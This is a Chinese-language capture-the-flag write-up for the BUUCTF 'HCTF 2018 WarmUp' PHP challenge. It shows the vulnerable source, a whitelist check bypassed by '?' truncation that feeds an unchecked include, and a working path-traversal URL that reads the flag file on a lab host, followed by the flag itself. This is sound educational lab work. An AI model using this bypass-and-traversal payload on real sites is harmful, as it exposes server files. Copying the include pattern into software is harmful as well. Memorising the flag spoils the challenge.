[BUUCTF][Web][HCTF 2018]WarmUp 1
阿新 • • 發佈:2022-12-07
這題已經標識為php 程式碼審計題,那麼需要搞到原始碼才行
開啟靶機對應的url,展示的是一張笑臉圖片
右鍵檢視網頁原始碼
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <!--source.php--> <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body> </html>
這裡顯示存在一個叫 source.php的檔案
嘗試訪問 source.php
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/source.php
居然得到了原始碼
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
從原始碼可知,存在一個叫hint.php的檔案,同時可以作為file的引數傳入,構造url
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=hint.php
得到以下回顯,這裡有重要資訊
flag not here, and flag in ffffllllaaaagggg
這裡有個題眼,flag在ffffllllaaaagggg檔案中,現在就需要構造目錄穿越的滲透方式,來或者這個檔案的內容,這裡可以推測肯定是在上幾層的目錄中,否則很難搞定
繼續閱讀原始碼 checkFile 函式,看有沒有什麼方式可以繞過
// 1. $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } //2. $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
問題就出現在這一段
1處, 首先將傳入的引數以問號處截斷,然後判斷 ?以前的字串是否在白名單中,如果在就通過。
那麼可以構造一個這樣的url試一下
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=source.php?./ffffllllaaaagggg
如果沒有通過檢查,原始碼可知,一定會報you can't see it
這個url展示一片空白,那麼說明這個套路沒問題,繼續向上加層級嘗試
最後得到這個url ok:
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81?file=source.php?../../../../../../../../../ffffllllaaaagggg
得到flag
flag{99e0c3c4-e30d-48ea-a8ea-f55603c0ec7f}